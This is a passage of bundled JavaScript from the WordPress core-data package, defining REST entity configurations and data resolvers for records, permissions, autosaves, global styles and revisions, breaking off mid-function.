3852 baseURL: "/wp/v2/users",
3853 getTitle: (record) => record?.name || record?.slug,
3854 baseURLParams: { context: "edit" },
3855 plural: "users",
3856 supportsPagination: true
3857 },
3858 {
3859 name: "comment",
3860 kind: "root",
3861 baseURL: "/wp/v2/comments",
3862 baseURLParams: { context: "edit" },
3863 plural: "comments",
3864 label: (0,external_wp_i18n_.__)("Comment"),
3865 supportsPagination: true
3866 },
3867 {
3868 name: "menu",
3869 kind: "root",
3870 baseURL: "/wp/v2/menus",
3871 baseURLParams: { context: "edit" },
3872 plural: "menus",
3873 label: (0,external_wp_i18n_.__)("Menu"),
3874 supportsPagination: true
3875 },
3876 {
3877 name: "menuItem",
3878 kind: "root",
3879 baseURL: "/wp/v2/menu-items",
3880 baseURLParams: { context: "edit" },
3881 plural: "menuItems",
3882 label: (0,external_wp_i18n_.__)("Menu Item"),
3883 rawAttributes: ["title"],
3884 supportsPagination: true
3885 },
3886 {
3887 name: "menuLocation",
3888 kind: "root",
3889 baseURL: "/wp/v2/menu-locations",
3890 baseURLParams: { context: "edit" },
3891 plural: "menuLocations",
3892 label: (0,external_wp_i18n_.__)("Menu Location"),
3893 key: "name"
3894 },
3895 {
3896 label: (0,external_wp_i18n_.__)("Global Styles"),
3897 name: "globalStyles",
3898 kind: "root",
3899 baseURL: "/wp/v2/global-styles",
3900 baseURLParams: { context: "edit" },
3901 plural: "globalStylesVariations",
3902 // Should be different from name.
3903 getTitle: () => (0,external_wp_i18n_.__)("Custom Styles"),
3904 getRevisionsUrl: (parentId, revisionId) => `/wp/v2/global-styles/${parentId}/revisions${revisionId ? "/" + revisionId : ""}`,
3905 supportsPagination: true
3906 },
3907 {
3908 label: (0,external_wp_i18n_.__)("Themes"),
3909 name: "theme",
3910 kind: "root",
3911 baseURL: "/wp/v2/themes",
3912 baseURLParams: { context: "edit" },
3913 plural: "themes",
3914 key: "stylesheet"
3915 },
3916 {
3917 label: (0,external_wp_i18n_.__)("Plugins"),
3918 name: "plugin",
3919 kind: "root",
3920 baseURL: "/wp/v2/plugins",
3921 baseURLParams: { context: "edit" },
3922 plural: "plugins",
3923 key: "plugin"
3924 },
3925 {
3926 label: (0,external_wp_i18n_.__)("Status"),
3927 name: "status",
3928 kind: "root",
3929 baseURL: "/wp/v2/statuses",
3930 baseURLParams: { context: "edit" },
3931 plural: "statuses",
3932 key: "slug"
3933 }
3934];
3935const deprecatedEntities = {
3936 root: {
3937 media: {
3938 since: "6.9",
3939 alternative: {
3940 kind: "postType",
3941 name: "attachment"
3942 }
3943 }
3944 }
3945};
3946const additionalEntityConfigLoaders = [
3947 { kind: "postType", loadEntities: loadPostTypeEntities },
3948 { kind: "taxonomy", loadEntities: loadTaxonomyEntities },
3949 {
3950 kind: "root",
3951 name: "site",
3952 plural: "sites",
3953 loadEntities: loadSiteEntity
3954 }
3955];
3956const prePersistPostType = (persistedRecord, edits) => {
3957 const newEdits = {};
3958 if (persistedRecord?.status === "auto-draft") {
3959 if (!edits.status && !newEdits.status) {
3960 newEdits.status = "draft";
3961 }
3962 if ((!edits.title || edits.title === "Auto Draft") && !newEdits.title && (!persistedRecord?.title || persistedRecord?.title === "Auto Draft")) {
3963 newEdits.title = "";
3964 }
3965 }
3966 return newEdits;
3967};
3968async function loadPostTypeEntities() {
3969 const postTypes = await external_wp_apiFetch_default()({
3970 path: "/wp/v2/types?context=view"
3971 });
3972 return Object.entries(postTypes ?? {}).map(([name, postType]) => {
3973 const isTemplate = ["wp_template", "wp_template_part"].includes(
3974 name
3975 );
3976 const namespace = postType?.rest_namespace ?? "wp/v2";
3977 const entity = {
3978 kind: "postType",
3979 baseURL: `/${namespace}/${postType.rest_base}`,
3980 baseURLParams: { context: "edit" },
3981 name,
3982 label: postType.name,
3983 transientEdits: {
3984 ...blocksTransientEdits,
3985 selection: true
3986 },
3987 mergedEdits: { meta: true },
3988 rawAttributes: POST_RAW_ATTRIBUTES,
3989 getTitle: (record) => record?.title?.rendered || record?.title || (isTemplate ? capitalCase(record.slug ?? "") : String(record.id)),
3990 __unstablePrePersist: isTemplate ? void 0 : prePersistPostType,
3991 __unstable_rest_base: postType.rest_base,
3992 supportsPagination: true,
3993 getRevisionsUrl: (parentId, revisionId) => `/${namespace}/${postType.rest_base}/${parentId}/revisions${revisionId ? "/" + revisionId : ""}`,
3994 revisionKey: isTemplate ? "wp_id" : DEFAULT_ENTITY_KEY
3995 };
3996 if (window.__experimentalEnableSync) {
3997 if (false) {}
3998 }
3999 return entity;
4000 });
4001}
4002async function loadTaxonomyEntities() {
4003 const taxonomies = await external_wp_apiFetch_default()({
4004 path: "/wp/v2/taxonomies?context=view"
4005 });
4006 return Object.entries(taxonomies ?? {}).map(([name, taxonomy]) => {
4007 const namespace = taxonomy?.rest_namespace ?? "wp/v2";
4008 return {
4009 kind: "taxonomy",
4010 baseURL: `/${namespace}/${taxonomy.rest_base}`,
4011 baseURLParams: { context: "edit" },
4012 name,
4013 label: taxonomy.name,
4014 getTitle: (record) => record?.name,
4015 supportsPagination: true
4016 };
4017 });
4018}
4019async function loadSiteEntity() {
4020 const entity = {
4021 label: (0,external_wp_i18n_.__)("Site"),
4022 name: "site",
4023 kind: "root",
4024 key: false,
4025 baseURL: "/wp/v2/settings",
4026 meta: {}
4027 };
4028 if (window.__experimentalEnableSync) {
4029 if (false) {}
4030 }
4031 const site = await external_wp_apiFetch_default()({
4032 path: entity.baseURL,
4033 method: "OPTIONS"
4034 });
4035 const labels = {};
4036 Object.entries(site?.schema?.properties ?? {}).forEach(
4037 ([key, value]) => {
4038 if (typeof value === "object" && value.title) {
4039 labels[key] = value.title;
4040 }
4041 }
4042 );
4043 return [{ ...entity, meta: { labels } }];
4044}
4045const getMethodName = (kind, name, prefix = "get") => {
4046 const kindPrefix = kind === "root" ? "" : (0,pascal_case_dist_es2015/* pascalCase */.fL)(kind);
4047 const suffix = (0,pascal_case_dist_es2015/* pascalCase */.fL)(name);
4048 return `${prefix}${kindPrefix}${suffix}`;
4049};
4050
4051
4052
4053/***/ }),
4054
4055/***/ 6087:
4056/***/ ((module) => {
4057
4058"use strict";
4059module.exports = window["wp"]["element"];
4060
4061/***/ }),
4062
4063/***/ 6378:
4064/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
4065
4066"use strict";
4067
4068// EXPORTS
4069__webpack_require__.d(__webpack_exports__, {
4070 s: () => (/* binding */ lock),
4071 T: () => (/* binding */ unlock)
4072});
4073
4074;// external ["wp","privateApis"]
4075const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
4076;// ./node_modules/@wordpress/core-data/build-module/lock-unlock.js
4077
4078const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
4079 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
4080 "@wordpress/core-data"
4081);
4082
4083
4084
4085/***/ }),
4086
4087/***/ 6384:
4088/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
4089
4090"use strict";
4091// ESM COMPAT FLAG
4092__webpack_require__.r(__webpack_exports__);
4093
4094// EXPORTS
4095__webpack_require__.d(__webpack_exports__, {
4096 __experimentalGetCurrentGlobalStylesId: () => (/* binding */ __experimentalGetCurrentGlobalStylesId),
4097 __experimentalGetCurrentThemeBaseGlobalStyles: () => (/* binding */ __experimentalGetCurrentThemeBaseGlobalStyles),
4098 __experimentalGetCurrentThemeGlobalStylesVariations: () => (/* binding */ __experimentalGetCurrentThemeGlobalStylesVariations),
4099 canUser: () => (/* binding */ canUser),
4100 canUserEditEntityRecord: () => (/* binding */ canUserEditEntityRecord),
4101 getAuthors: () => (/* binding */ getAuthors),
4102 getAutosave: () => (/* binding */ getAutosave),
4103 getAutosaves: () => (/* binding */ getAutosaves),
4104 getBlockPatternCategories: () => (/* binding */ getBlockPatternCategories),
4105 getBlockPatterns: () => (/* binding */ getBlockPatterns),
4106 getCurrentTheme: () => (/* binding */ getCurrentTheme),
4107 getCurrentThemeGlobalStylesRevisions: () => (/* binding */ getCurrentThemeGlobalStylesRevisions),
4108 getCurrentUser: () => (/* binding */ getCurrentUser),
4109 getDefaultTemplateId: () => (/* binding */ getDefaultTemplateId),
4110 getEditedEntityRecord: () => (/* binding */ getEditedEntityRecord),
4111 getEmbedPreview: () => (/* binding */ getEmbedPreview),
4112 getEntitiesConfig: () => (/* binding */ getEntitiesConfig),
4113 getEntityRecord: () => (/* binding */ getEntityRecord),
4114 getEntityRecords: () => (/* binding */ getEntityRecords),
4115 getEntityRecordsTotalItems: () => (/* binding */ getEntityRecordsTotalItems),
4116 getEntityRecordsTotalPages: () => (/* binding */ getEntityRecordsTotalPages),
4117 getNavigationFallbackId: () => (/* binding */ getNavigationFallbackId),
4118 getRawEntityRecord: () => (/* binding */ getRawEntityRecord),
4119 getRegisteredPostMeta: () => (/* binding */ getRegisteredPostMeta),
4120 getRevision: () => (/* binding */ getRevision),
4121 getRevisions: () => (/* binding */ getRevisions),
4122 getThemeSupports: () => (/* binding */ getThemeSupports),
4123 getUserPatternCategories: () => (/* binding */ getUserPatternCategories)
4124});
4125
4126// EXTERNAL MODULE: ./node_modules/camel-case/dist.es2015/index.js
4127var dist_es2015 = __webpack_require__(5663);
4128// EXTERNAL MODULE: external ["wp","url"]
4129var external_wp_url_ = __webpack_require__(3832);
4130// EXTERNAL MODULE: external ["wp","htmlEntities"]
4131var external_wp_htmlEntities_ = __webpack_require__(8537);
4132// EXTERNAL MODULE: external ["wp","apiFetch"]
4133var external_wp_apiFetch_ = __webpack_require__(1455);
4134var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_);
4135// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/name.js
4136var build_module_name = __webpack_require__(2278);
4137// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/entities.js + 2 modules
4138var entities = __webpack_require__(5914);
4139// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/utils/get-normalized-comma-separable.js
4140var get_normalized_comma_separable = __webpack_require__(533);
4141// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/utils/user-permissions.js
4142var user_permissions = __webpack_require__(2577);
4143;// ./node_modules/@wordpress/core-data/build-module/utils/forward-resolver.js
4144const forwardResolver = (resolverName) => (...args) => async ({ resolveSelect }) => {
4145 await resolveSelect[resolverName](...args);
4146};
4147var forward_resolver_default = forwardResolver;
4148
4149
4150// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/utils/receive-intermediate-results.js
4151var receive_intermediate_results = __webpack_require__(5101);
4152// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/fetch/index.js + 2 modules
4153var fetch = __webpack_require__(7006);
4154;// ./node_modules/@wordpress/core-data/build-module/resolvers.js
4155
4156
4157
4158
4159
4160
4161
4162
4163
4164const getAuthors = (query) => async ({ dispatch }) => {
4165 const path = (0,external_wp_url_.addQueryArgs)(
4166 "/wp/v2/users/?who=authors&per_page=100",
4167 query
4168 );
4169 const users = await external_wp_apiFetch_default()({ path });
4170 dispatch.receiveUserQuery(path, users);
4171};
4172const getCurrentUser = () => async ({ dispatch }) => {
4173 const currentUser = await external_wp_apiFetch_default()({ path: "/wp/v2/users/me" });
4174 dispatch.receiveCurrentUser(currentUser);
4175};
4176const getEntityRecord = (kind, name, key = "", query) => async ({ select, dispatch, registry, resolveSelect }) => {
4177 const configs = await resolveSelect.getEntitiesConfig(kind);
4178 const entityConfig = configs.find(
4179 (config) => config.name === name && config.kind === kind
4180 );
4181 if (!entityConfig) {
4182 return;
4183 }
4184 const lock = await dispatch.__unstableAcquireStoreLock(
4185 build_module_name/* STORE_NAME */.E,
4186 ["entities", "records", kind, name, key],
4187 { exclusive: false }
4188 );
4189 try {
4190 if (query !== void 0 && query._fields) {
4191 query = {
4192 ...query,
4193 _fields: [
4194 .../* @__PURE__ */ new Set([
4195 ...(0,get_normalized_comma_separable/* default */.A)(query._fields) || [],
4196 entityConfig.key || entities/* DEFAULT_ENTITY_KEY */.C_
4197 ])
4198 ].join()
4199 };
4200 }
4201 if (query !== void 0 && query._fields) {
4202 const hasRecord = select.hasEntityRecord(
4203 kind,
4204 name,
4205 key,
4206 query
4207 );
4208 if (hasRecord) {
4209 return;
4210 }
4211 }
4212 const path = (0,external_wp_url_.addQueryArgs)(
4213 entityConfig.baseURL + (key ? "/" + key : ""),
4214 {
4215 ...entityConfig.baseURLParams,
4216 ...query
4217 }
4218 );
4219 const response = await external_wp_apiFetch_default()({ path, parse: false });
4220 const record = await response.json();
4221 const permissions = (0,user_permissions/* getUserPermissionsFromAllowHeader */.qY)(
4222 response.headers?.get("allow")
4223 );
4224 const canUserResolutionsArgs = [];
4225 const receiveUserPermissionArgs = {};
4226 for (const action of user_permissions/* ALLOWED_RESOURCE_ACTIONS */.CO) {
4227 receiveUserPermissionArgs[(0,user_permissions/* getUserPermissionCacheKey */.kC)(action, {
4228 kind,
4229 name,
4230 id: key
4231 })] = permissions[action];
4232 canUserResolutionsArgs.push([
4233 action,
4234 { kind, name, id: key }
4235 ]);
4236 }
4237 if (window.__experimentalEnableSync && entityConfig.syncConfig && !query) {
4238 if (false) {}
4239 }
4240 registry.batch(() => {
4241 dispatch.receiveEntityRecords(kind, name, record, query);
4242 dispatch.receiveUserPermissions(receiveUserPermissionArgs);
4243 dispatch.finishResolutions("canUser", canUserResolutionsArgs);
4244 });
4245 } finally {
4246 dispatch.__unstableReleaseStoreLock(lock);
4247 }
4248};
4249const getRawEntityRecord = forward_resolver_default("getEntityRecord");
4250const getEditedEntityRecord = forward_resolver_default("getEntityRecord");
4251const getEntityRecords = (kind, name, query = {}) => async ({ dispatch, registry, resolveSelect }) => {
4252 const configs = await resolveSelect.getEntitiesConfig(kind);
4253 const entityConfig = configs.find(
4254 (config) => config.name === name && config.kind === kind
4255 );
4256 if (!entityConfig) {
4257 return;
4258 }
4259 const lock = await dispatch.__unstableAcquireStoreLock(
4260 build_module_name/* STORE_NAME */.E,
4261 ["entities", "records", kind, name],
4262 { exclusive: false }
4263 );
4264 const rawQuery = { ...query };
4265 const key = entityConfig.key || entities/* DEFAULT_ENTITY_KEY */.C_;
4266 function getResolutionsArgs(records, recordsQuery) {
4267 const queryArgs = Object.fromEntries(
4268 Object.entries(recordsQuery).filter(([k, v]) => {
4269 return ["context", "_fields"].includes(k) && !!v;
4270 })
4271 );
4272 return records.filter((record) => record?.[key]).map((record) => [
4273 kind,
4274 name,
4275 record[key],
4276 Object.keys(queryArgs).length > 0 ? queryArgs : void 0
4277 ]);
4278 }
4279 try {
4280 if (query._fields) {
4281 query = {
4282 ...query,
4283 _fields: [
4284 .../* @__PURE__ */ new Set([
4285 ...(0,get_normalized_comma_separable/* default */.A)(query._fields) || [],
4286 key
4287 ])
4288 ].join()
4289 };
4290 }
4291 const path = (0,external_wp_url_.addQueryArgs)(entityConfig.baseURL, {
4292 ...entityConfig.baseURLParams,
4293 ...query
4294 });
4295 let records = [], meta;
4296 if (entityConfig.supportsPagination && query.per_page !== -1) {
4297 const response = await external_wp_apiFetch_default()({ path, parse: false });
4298 records = Object.values(await response.json());
4299 meta = {
4300 totalItems: parseInt(
4301 response.headers.get("X-WP-Total")
4302 ),
4303 totalPages: parseInt(
4304 response.headers.get("X-WP-TotalPages")
4305 )
4306 };
4307 } else if (query.per_page === -1 && query[receive_intermediate_results/* RECEIVE_INTERMEDIATE_RESULTS */.Z] === true) {
4308 let page = 1;
4309 let totalPages;
4310 do {
4311 const response = await external_wp_apiFetch_default()({
4312 path: (0,external_wp_url_.addQueryArgs)(path, { page, per_page: 100 }),
4313 parse: false
4314 });
4315 const pageRecords = Object.values(await response.json());
4316 totalPages = parseInt(
4317 response.headers.get("X-WP-TotalPages")
4318 );
4319 if (!meta) {
4320 meta = {
4321 totalItems: parseInt(
4322 response.headers.get("X-WP-Total")
4323 ),
4324 totalPages: 1
4325 };
4326 }
4327 records.push(...pageRecords);
4328 registry.batch(() => {
4329 dispatch.receiveEntityRecords(
4330 kind,
4331 name,
4332 records,
4333 query,
4334 false,
4335 void 0,
4336 meta
4337 );
4338 dispatch.finishResolutions(
4339 "getEntityRecord",
4340 getResolutionsArgs(pageRecords, rawQuery)
4341 );
4342 });
4343 page++;
4344 } while (page <= totalPages);
4345 } else {
4346 records = Object.values(await external_wp_apiFetch_default()({ path }));
4347 meta = {
4348 totalItems: records.length,
4349 totalPages: 1
4350 };
4351 }
4352 if (query._fields) {
4353 records = records.map((record) => {
4354 query._fields.split(",").forEach((field) => {
4355 if (!record.hasOwnProperty(field)) {
4356 record[field] = void 0;
4357 }
4358 });
4359 return record;
4360 });
4361 }
4362 registry.batch(() => {
4363 dispatch.receiveEntityRecords(
4364 kind,
4365 name,
4366 records,
4367 query,
4368 false,
4369 void 0,
4370 meta
4371 );
4372 const targetHints = records.filter(
4373 (record) => !!record?.[key] && !!record?._links?.self?.[0]?.targetHints?.allow
4374 ).map((record) => ({
4375 id: record[key],
4376 permissions: (0,user_permissions/* getUserPermissionsFromAllowHeader */.qY)(
4377 record._links.self[0].targetHints.allow
4378 )
4379 }));
4380 const canUserResolutionsArgs = [];
4381 const receiveUserPermissionArgs = {};
4382 for (const targetHint of targetHints) {
4383 for (const action of user_permissions/* ALLOWED_RESOURCE_ACTIONS */.CO) {
4384 canUserResolutionsArgs.push([
4385 action,
4386 { kind, name, id: targetHint.id }
4387 ]);
4388 receiveUserPermissionArgs[(0,user_permissions/* getUserPermissionCacheKey */.kC)(action, {
4389 kind,
4390 name,
4391 id: targetHint.id
4392 })] = targetHint.permissions[action];
4393 }
4394 }
4395 if (targetHints.length > 0) {
4396 dispatch.receiveUserPermissions(
4397 receiveUserPermissionArgs
4398 );
4399 dispatch.finishResolutions(
4400 "canUser",
4401 canUserResolutionsArgs
4402 );
4403 }
4404 dispatch.finishResolutions(
4405 "getEntityRecord",
4406 getResolutionsArgs(records, rawQuery)
4407 );
4408 dispatch.__unstableReleaseStoreLock(lock);
4409 });
4410 } catch (e) {
4411 dispatch.__unstableReleaseStoreLock(lock);
4412 }
4413};
4414getEntityRecords.shouldInvalidate = (action, kind, name) => {
4415 return (action.type === "RECEIVE_ITEMS" || action.type === "REMOVE_ITEMS") && action.invalidateCache && kind === action.kind && name === action.name;
4416};
4417const getEntityRecordsTotalItems = forward_resolver_default("getEntityRecords");
4418const getEntityRecordsTotalPages = forward_resolver_default("getEntityRecords");
4419const getCurrentTheme = () => async ({ dispatch, resolveSelect }) => {
4420 const activeThemes = await resolveSelect.getEntityRecords(
4421 "root",
4422 "theme",
4423 { status: "active" }
4424 );
4425 dispatch.receiveCurrentTheme(activeThemes[0]);
4426};
4427const getThemeSupports = forward_resolver_default("getCurrentTheme");
4428const getEmbedPreview = (url) => async ({ dispatch }) => {
4429 try {
4430 const embedProxyResponse = await external_wp_apiFetch_default()({
4431 path: (0,external_wp_url_.addQueryArgs)("/oembed/1.0/proxy", { url })
4432 });
4433 dispatch.receiveEmbedPreview(url, embedProxyResponse);
4434 } catch (error) {
4435 dispatch.receiveEmbedPreview(url, false);
4436 }
4437};
4438const canUser = (requestedAction, resource, id) => async ({ dispatch, registry, resolveSelect }) => {
4439 if (!user_permissions/* ALLOWED_RESOURCE_ACTIONS */.CO.includes(requestedAction)) {
4440 throw new Error(`'${requestedAction}' is not a valid action.`);
4441 }
4442 const { hasStartedResolution } = registry.select(build_module_name/* STORE_NAME */.E);
4443 for (const relatedAction of user_permissions/* ALLOWED_RESOURCE_ACTIONS */.CO) {
4444 if (relatedAction === requestedAction) {
4445 continue;
4446 }
4447 const isAlreadyResolving = hasStartedResolution("canUser", [
4448 relatedAction,
4449 resource,
4450 id
4451 ]);
4452 if (isAlreadyResolving) {
4453 return;
4454 }
4455 }
4456 let resourcePath = null;
4457 if (typeof resource === "object") {
4458 if (!resource.kind || !resource.name) {
4459 throw new Error("The entity resource object is not valid.");
4460 }
4461 const configs = await resolveSelect.getEntitiesConfig(
4462 resource.kind
4463 );
4464 const entityConfig = configs.find(
4465 (config) => config.name === resource.name && config.kind === resource.kind
4466 );
4467 if (!entityConfig) {
4468 return;
4469 }
4470 resourcePath = entityConfig.baseURL + (resource.id ? "/" + resource.id : "");
4471 } else {
4472 resourcePath = `/wp/v2/${resource}` + (id ? "/" + id : "");
4473 }
4474 let response;
4475 try {
4476 response = await external_wp_apiFetch_default()({
4477 path: resourcePath,
4478 method: "OPTIONS",
4479 parse: false
4480 });
4481 } catch (error) {
4482 return;
4483 }
4484 const permissions = (0,user_permissions/* getUserPermissionsFromAllowHeader */.qY)(
4485 response.headers?.get("allow")
4486 );
4487 registry.batch(() => {
4488 for (const action of user_permissions/* ALLOWED_RESOURCE_ACTIONS */.CO) {
4489 const key = (0,user_permissions/* getUserPermissionCacheKey */.kC)(action, resource, id);
4490 dispatch.receiveUserPermission(key, permissions[action]);
4491 if (action !== requestedAction) {
4492 dispatch.finishResolution("canUser", [
4493 action,
4494 resource,
4495 id
4496 ]);
4497 }
4498 }
4499 });
4500};
4501const canUserEditEntityRecord = (kind, name, recordId) => async ({ dispatch }) => {
4502 await dispatch(canUser("update", { kind, name, id: recordId }));
4503};
4504const getAutosaves = (postType, postId) => async ({ dispatch, resolveSelect }) => {
4505 const {
4506 rest_base: restBase,
4507 rest_namespace: restNamespace = "wp/v2",
4508 supports
4509 } = await resolveSelect.getPostType(postType);
4510 if (!supports?.autosave) {
4511 return;
4512 }
4513 const autosaves = await external_wp_apiFetch_default()({
4514 path: `/${restNamespace}/${restBase}/${postId}/autosaves?context=edit`
4515 });
4516 if (autosaves && autosaves.length) {
4517 dispatch.receiveAutosaves(postId, autosaves);
4518 }
4519};
4520const getAutosave = (postType, postId) => async ({ resolveSelect }) => {
4521 await resolveSelect.getAutosaves(postType, postId);
4522};
4523const __experimentalGetCurrentGlobalStylesId = () => async ({ dispatch, resolveSelect }) => {
4524 const activeThemes = await resolveSelect.getEntityRecords(
4525 "root",
4526 "theme",
4527 { status: "active" }
4528 );
4529 const globalStylesURL = activeThemes?.[0]?._links?.["wp:user-global-styles"]?.[0]?.href;
4530 if (!globalStylesURL) {
4531 return;
4532 }
4533 const matches = globalStylesURL.match(/\/(\d+)(?:\?|$)/);
4534 const id = matches ? Number(matches[1]) : null;
4535 if (id) {
4536 dispatch.__experimentalReceiveCurrentGlobalStylesId(id);
4537 }
4538};
4539const __experimentalGetCurrentThemeBaseGlobalStyles = () => async ({ resolveSelect, dispatch }) => {
4540 const currentTheme = await resolveSelect.getCurrentTheme();
4541 const themeGlobalStyles = await external_wp_apiFetch_default()({
4542 path: `/wp/v2/global-styles/themes/${currentTheme.stylesheet}?context=view`
4543 });
4544 dispatch.__experimentalReceiveThemeBaseGlobalStyles(
4545 currentTheme.stylesheet,
4546 themeGlobalStyles
4547 );
4548};
4549const __experimentalGetCurrentThemeGlobalStylesVariations = () => async ({ resolveSelect, dispatch }) => {
4550 const currentTheme = await resolveSelect.getCurrentTheme();
4551 const variations = await external_wp_apiFetch_default()({
4552 path: `/wp/v2/global-styles/themes/${currentTheme.stylesheet}/variations?context=view`
4553 });
4554 dispatch.__experimentalReceiveThemeGlobalStyleVariations(
4555 currentTheme.stylesheet,
4556 variations
4557 );
4558};
4559const getCurrentThemeGlobalStylesRevisions = () => async ({ resolveSelect, dispatch }) => {
4560 const globalStylesId = await resolveSelect.__experimentalGetCurrentGlobalStylesId();
4561 const record = globalStylesId ? await resolveSelect.getEntityRecord(
4562 "root",
4563 "globalStyles",
4564 globalStylesId
4565 ) : void 0;
4566 const revisionsURL = record?._links?.["version-history"]?.[0]?.href;
4567 if (revisionsURL) {
4568 const resetRevisions = await external_wp_apiFetch_default()({
4569 url: revisionsURL
4570 });
4571 const revisions = resetRevisions?.map(
4572 (revision) => Object.fromEntries(
4573 Object.entries(revision).map(([key, value]) => [
4574 (0,dist_es2015/* camelCase */.xQ)(key),
4575 value
4576 ])
4577 )
4578 );
4579 dispatch.receiveThemeGlobalStyleRevisions(
4580 globalStylesId,
4581 revisions
4582 );
4583 }
4584};
4585getCurrentThemeGlobalStylesRevisions.shouldInvalidate = (action) => {
4586 return action.type === "SAVE_ENTITY_RECORD_FINISH" && action.kind === "root" && !action.error && action.name === "globalStyles";
4587};
4588const getBlockPatterns = () => async ({ dispatch }) => {
4589 const patterns = await (0,fetch/* fetchBlockPatterns */.l$)();
4590 dispatch({ type: "RECEIVE_BLOCK_PATTERNS", patterns });
4591};
4592const getBlockPatternCategories = () => async ({ dispatch }) => {
4593 const categories = await external_wp_apiFetch_default()({
4594 path: "/wp/v2/block-patterns/categories"
4595 });
4596 dispatch({ type: "RECEIVE_BLOCK_PATTERN_CATEGORIES", categories });
4597};
4598const getUserPatternCategories = () => async ({ dispatch, resolveSelect }) => {
4599 const patternCategories = await resolveSelect.getEntityRecords(
4600 "taxonomy",
4601 "wp_pattern_category",
4602 {
4603 per_page: -1,
4604 _fields: "id,name,description,slug",
4605 context: "view"
4606 }
4607 );
4608 const mappedPatternCategories = patternCategories?.map((userCategory) => ({
4609 ...userCategory,
4610 label: (0,external_wp_htmlEntities_.decodeEntities)(userCategory.name),
4611 name: userCategory.slug
4612 })) || [];
4613 dispatch({
4614 type: "RECEIVE_USER_PATTERN_CATEGORIES",
4615 patternCategories: mappedPatternCategories
4616 });
4617};
4618const getNavigationFallbackId = () => async ({ dispatch, select, registry }) => {
4619 const fallback = await external_wp_apiFetch_default()({
4620 path: (0,external_wp_url_.addQueryArgs)("/wp-block-editor/v1/navigation-fallback", {
4621 _embed: true
4622 })
4623 });
4624 const record = fallback?._embedded?.self;
4625 registry.batch(() => {
4626 dispatch.receiveNavigationFallbackId(fallback?.id);
4627 if (!record) {
4628 return;
4629 }
4630 const existingFallbackEntityRecord = select.getEntityRecord(
4631 "postType",
4632 "wp_navigation",
4633 fallback.id
4634 );
4635 const invalidateNavigationQueries = !existingFallbackEntityRecord;
4636 dispatch.receiveEntityRecords(
4637 "postType",
4638 "wp_navigation",
4639 record,
4640 void 0,
4641 invalidateNavigationQueries
4642 );
4643 dispatch.finishResolution("getEntityRecord", [
4644 "postType",
4645 "wp_navigation",
4646 fallback.id
4647 ]);
4648 });
4649};
4650const getDefaultTemplateId = (query) => async ({ dispatch, registry, resolveSelect }) => {
4651 const template = await external_wp_apiFetch_default()({
4652 path: (0,external_wp_url_.addQueryArgs)("/wp/v2/templates/lookup", query)
4653 });
4654 await resolveSelect.getEntitiesConfig("postType");
4655 if (template?.id) {
4656 registry.batch(() => {
4657 dispatch.receiveDefaultTemplateId(query, template.id);
4658 dispatch.receiveEntityRecords("postType", "wp_template", [
4659 template
4660 ]);
4661 dispatch.finishResolution("getEntityRecord", [
4662 "postType",
4663 "wp_template",
4664 template.id
4665 ]);
4666 });
4667 }
4668};
4669const getRevisions = (kind, name, recordKey, query = {}) => async ({ dispatch, registry, resolveSelect }) => {
4670 const configs = await resolveSelect.getEntitiesConfig(kind);
4671 const entityConfig = configs.find(
4672 (config) => config.name === name && config.kind === kind
4673 );
4674 if (!entityConfig) {
4675 return;
4676 }
4677 if (query._fields) {
4678 query = {
4679 ...query,
4680 _fields: [
4681 .../* @__PURE__ */ new Set([
4682 ...(0,get_normalized_comma_separable/* default */.A)(query._fields) || [],
4683 entityConfig.revisionKey || entities/* DEFAULT_ENTITY_KEY */.C_
4684 ])
4685 ].join()
4686 };
4687 }
4688 const path = (0,external_wp_url_.addQueryArgs)(
4689 entityConfig.getRevisionsUrl(recordKey),
4690 query
4691 );
4692 let records, response;
4693 const meta = {};
4694 const isPaginated = entityConfig.supportsPagination && query.per_page !== -1;
4695 try {
4696 response = await external_wp_apiFetch_default()({ path, parse: !isPaginated });
4697 } catch (error) {
4698 return;
4699 }
4700 if (response) {
4701 if (isPaginated) {
4702 records = Object.values(await response.json());
4703 meta.totalItems = parseInt(
4704 response.headers.get("X-WP-Total")
4705 );
4706 } else {
4707 records = Object.values(response);
4708 }
4709 if (query._fields) {
4710 records = records.map((record) => {
4711 query._fields.split(",").forEach((field) => {
4712 if (!record.hasOwnProperty(field)) {
4713 record[field] = void 0;
4714 }
4715 });
4716 return record;
4717 });
4718 }
4719 registry.batch(() => {
4720 dispatch.receiveRevisions(
4721 kind,
4722 name,
4723 recordKey,
4724 records,
4725 query,
4726 false,
4727 meta
4728 );
4729 if (!query?._fields && !query.context) {
4730 const key = entityConfig.key || entities/* DEFAULT_ENTITY_KEY */.C_;
4731 const resolutionsArgs = records.filter((record) => record[key]).map((record) => [
4732 kind,
4733 name,
4734 recordKey,
4735 record[key]
4736 ]);
4737 dispatch.finishResolutions(
4738 "getRevision",
4739 resolutionsArgs
4740 );
4741 }
4742 });
4743 }
4744};
4745getRevisions.shouldInvalidate = (action, kind, name, recordKey) => action.type === "SAVE_ENTITY_RECORD_FINISH" && name === action.name && kind === action.kind && !action.error && recordKey === action.recordId;
4746const getRevision = (kind, name, recordKey, revisionKey, query) => async ({ dispatch, resolveSelect }) => {
4747 const configs = await resolveSelect.getEntitiesConfig(kind);
4748 const entityConfig = configs.find(
4749 (config) => config.name === name && config.kind === kind
4750 );
4751 if (!entityConfig) {
4752 return;
4753 }
4754 if (query !== void 0 && query._fields) {
4755 query = {
4756 ...query,
4757 _fields: [
4758 .../* @__PURE__ */ new Set([
4759 ...(0,get_normalized_comma_separable/* default */.A)(query._fields) || [],
4760 entityConfig.revisionKey || entities/* DEFAULT_ENTITY_KEY */.C_
4761 ])
4762 ].join()
4763 };
4764 }
4765 const path = (0,external_wp_url_.addQueryArgs)(
4766 entityConfig.getRevisionsUrl(recordKey, revisionKey),
4767 query
4768 );
4769 let record;
4770 try {
